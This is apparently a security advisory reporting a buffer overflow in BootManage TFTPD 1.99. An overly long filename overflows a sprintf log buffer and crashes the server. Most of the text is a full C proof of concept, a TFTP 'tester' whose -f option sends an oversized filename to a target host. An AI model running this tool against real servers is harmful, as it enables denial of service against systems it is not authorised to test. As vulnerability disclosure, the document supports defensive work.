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BootManage TFTPD Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.bootix.com/products/administrator_en.html> BootManage TFTPD
is "a TFTP server for Windows implemented in BootManage Administrator".
Although TFTP servers exist for other platforms on the bootix website,
only this 32 bit version for Windows is the most updated. A buffer
overflow vulnerability in BootManage's TFTPD allows remote attackers to
cause the product to crash by sending it an overly long request.
DETAILS
Vulnerable Systems:
* BootManage TFTPD version 1.99 (BootManage Administrator version 7.1)
The TFTP server is affected by a buffer-overflow vulnerability exploitable
with a filename longer than 32 bytes when used for building the log
string: sprintf(buffer, "%s: %s", filename, log_entry).
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/testz/tftpx.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 65536
#define UDPSZ 512
#define PORT 69
#define CHR 0x61
#define TIMEOUT 3
#define NONE "none"
u_int tftp_download(u_char *buff);
u_int tftp_upload(u_char *buff, u_int filesz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
FILE *fd;
int sd,
hexdump = 0;
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
u_int tsize = 0;
int i,
len,
psz,
upload = 0,
blocksize = 0,
tout = 0,
multicast = 0,
overwrite = 0,
bofsize = 0;
u_short port = PORT;
u_char *buff,
*local,
*remote,
*custom_option = NULL,
*custom_value = NULL;
struct stat xstat;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"TFTP server tester "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host> <remote_file> <local_file>\n"
"\n"
"-u upload a file, default is download\n"
"-t SIZE tftp tsize option, default is %u or real size if
upload\n"
"-b SIZE tftp blocksize option, default is not set\n"
"-o NUM tftp timeout option, default is not set\n"
"-m NUM tftp multicast option, default is not set\n"
"-c X Y add a custom value where X is the option and Y its
value\n"
"-C X Y like above but X and Y are the size of the 2 values
filled with '%c'\n"
"-p PORT server port, default is %hu\n"
"-x show the hexdump of any packet received\n"
"-y automatically overwrite the local file if exists
(only download)\n"
"-f [CHR] this option is useful to easily test possible
buffer-overflows in the\n"
" filename sent to the server without manually
specifying it. The\n"
" default char is '%c' (0x%02x) and the number of
chars to compose the\n"
" filename must be specified in the remote_file
argument.\n"
" Example: -f server 8192 local.txt\n"
"\n"
"Note: if local_file is equal to %s will be used stdout for
upload or stdin\n"
" for download. Very useful to test overflow bugs without
creating files.\n"
"\n", argv[0], tsize, CHR, port, CHR, CHR, NONE);
exit(1);
}
argc -= 3;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case '-':
case '?':
case 'h': {
fputs("\nError: use no arguments for the help\n", stdout);
exit(1);
} break;
case 'u': upload = 1; break;
case 't': tsize = atol(argv[++i]); break;
case 'b': blocksize = atoi(argv[++i]); break;
case 'o': tout = atoi(argv[++i]); break;
case 'm': multicast = atoi(argv[++i]); break;
case 'c': {
custom_option = argv[++i];
custom_value = argv[++i];
} break;
case 'C': {
len = atoi(argv[++i]);
custom_option = malloc(len + 1);
if(!custom_option) std_err();
memset(custom_option, CHR, len);
custom_option[len] = 0;
len = atoi(argv[++i]);
custom_value = malloc(len + 1);
if(!custom_value) std_err();
memset(custom_value, CHR, len);
custom_value[len] = 0;
} break;
case 'p': port = atoi(argv[++i]); break;
case 'x': hexdump = 1; break;
case 'y': overwrite = 1; break;
case 'f': bofsize = 1; break;
default: {
printf("\nError: Wrong command-line argument (%s)\n\n",
argv[i]);
exit(1);
} break;
}
}
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);
if(bofsize) {
bofsize = atoi(argv[argc + 1]);
// simple size check, not to avoid bof problems (this is
// only a PoC) but to limit bofsize to a correct value
if(bofsize > (BUFFSZ - 8)) bofsize = BUFFSZ - 8;
printf("- size of filename: %d\n", bofsize);
remote = malloc(bofsize + 1);
if(!remote) std_err();
memset(remote, CHR, bofsize);
remote[bofsize] = 0;
} else {
remote = argv[argc + 1];
}
local = argv[argc + 2];
printf("- remote file: %s\n", remote);
if(!strcmp(local, NONE)) {
if(!upload) {
fputs("- local file: standard output\n", stdout);
fd = stdout;
} else {
fputs("- local file: standard input\n", stdout);
fd = stdin;
}
} else {
printf("- local file: %s\n", local);
if(!upload) {
fputs("- open local file for writing\n", stdout);
if(!overwrite) {
fd = fopen(local, "rb");
if(fd) {
fputs("- file exists, do you wanna overwrite it?\n
(y/N) ", stdout);
fflush(stdin);
i = fgetc(stdin);
if((i != 'y') && (i != 'Y')) {
fputs("- exit\n\n", stdout);
exit(1);
}
fclose(fd);
}
}
fd = fopen(local, "wb");
if(!fd) std_err();
} else {
fputs("- open local file for reading\n", stdout);
fd = fopen(local, "rb");
if(!fd) std_err();
}
}
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(!upload) {
*(u_short *)buff = htons(1);
} else {
*(u_short *)buff = htons(2);
if(!tsize) {
fstat(fileno(fd), &xstat);
tsize = xstat.st_size;
printf("- local file size: %u\n", tsize);
}
}
len = strlen(remote) + 1;
memcpy(buff + 2, remote, len);
len += 2;
memcpy(buff + len, "octet", 6);
len += 6;
memcpy(buff + len, "tsize", 6);
len += 6;
len += sprintf(buff + len, "%u", tsize) + 1;
if(blocksize) {
memcpy(buff + len, "blocksize", 10);
len += 10;
len += sprintf(buff + len, "%d", blocksize) + 1;
}
if(tout) {
memcpy(buff + len, "timeout", 8);
len += 8;
len += sprintf(buff + len, "%d", tout) + 1;
}
if(multicast) {
memcpy(buff + len, "multicast", 10);
len += 10;
len += sprintf(buff + len, "%d", multicast) + 1;
}
if(custom_option) {
i = strlen(custom_option) + 1;
memcpy(buff + len, custom_option, i);
len += i;
i = strlen(custom_value) + 1;
memcpy(buff + len, custom_value, i);
len += i;
}
fputs("- send file request\n", stdout);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(!upload) {
fputs("- start download\n", stdout);
printf("\n- %u bytes received\n", tftp_download(buff));
} else {
fputs("- start upload\n", stdout);
printf("\n- %u bytes sent\n", tftp_upload(buff, tsize));
}
fclose(fd);
close(sd);
return(0);
}
u_int tftp_download(u_char *buff) {
u_int tot,
filesz;
int len,
psz;
u_short *opcode,
*block;
opcode = (u_short *)buff;
block = (u_short *)(buff + 2);
psz = sizeof(peer);
for(filesz = -1L, tot = 0; tot < filesz;) {
if(timeout(sd) < 0) {
fputs("\n- timeout or download finished\n", stdout);
break;
}
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
&psz);
if(len < 0) std_err();
if(!len) break;
if(hexdump) show_dump(buff, len, stdout);
switch(ntohs(*opcode)) {
case 3: { /* DATA */
len -= 4;
if(fwrite(buff + 4, len, 1, fd) != 1) {
fputs("\nError: impossible to write into the local
file\n", stdout);
exit(1);
}
fflush(fd);
tot += len;
} break;
case 5: { /* ERROR */
printf("\n"
"Error: TFTP error %d from the server:\n"
"\n"
" %s\n"
"\n", ntohs(*block), buff + 4);
exit(1);
} break;
case 6: { /* OACK */
if(!strcmp(buff + 2, "tsize")) {
sscanf(buff + 8, "%u", &filesz);
printf("- remote file size: %u\n", filesz);
}
*block = 0;
} break;
default: {
fputs("\nError: unknown tftp opcode\n\n", stdout);
if(!hexdump) show_dump(buff, len, stdout);
exit(1);
} break;
}
*opcode = htons(4);
if(sendto(sd, buff, 4, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
}
return(tot);
}
u_int tftp_upload(u_char *buff, u_int filesz) {
u_int tot;
int len,
psz;
u_short *opcode,
*block,
num;
opcode = (u_short *)buff;
block = (u_short *)(buff + 2);
psz = sizeof(peer);
for(tot = 0, num = 0; tot < filesz; tot += len) {
if(timeout(sd) < 0) {
fputs("\n- timeout or upload finished\n", stdout);
break;
}
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
&psz);
if(len < 0) std_err();
if(!len) break;
if(hexdump) show_dump(buff, len, stdout);
switch(ntohs(*opcode)) {
case 4: { /* ACK */
if(ntohs(*block) != num) {
fputs("\nError: packet lost, retransmission is not
supported yet\n", stdout);
exit(1);
}
} break;
case 5: { /* ERROR */
printf("\n"
"Error: TFTP error %d from the server:\n"
"\n"
" %s\n"
"\n", ntohs(*block), buff + 4);
exit(1);
} break;
case 6: { /* OACK */
} break;
default: {
fputs("\nError: unknown tftp opcode\n\n", stdout);
if(!hexdump) show_dump(buff, len, stdout);
exit(1);
} break;
}
len = fread(buff + 4, 1, UDPSZ, fd);
if(!len) break;
*opcode = htons(3);
*block = htons(++num);
if(sendto(sd, buff, len + 4, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
fputc('.', stdout);
}
if(tot == filesz) { /* seems needed or the server doesn't close
the file */
*opcode = htons(3);
*block = htons(++num);
if(sendto(sd, buff, 4, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}
return(tot);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/bootixtftpd-adv.txt>
http://aluigi.altervista.org/adv/bootixtftpd-adv.txt
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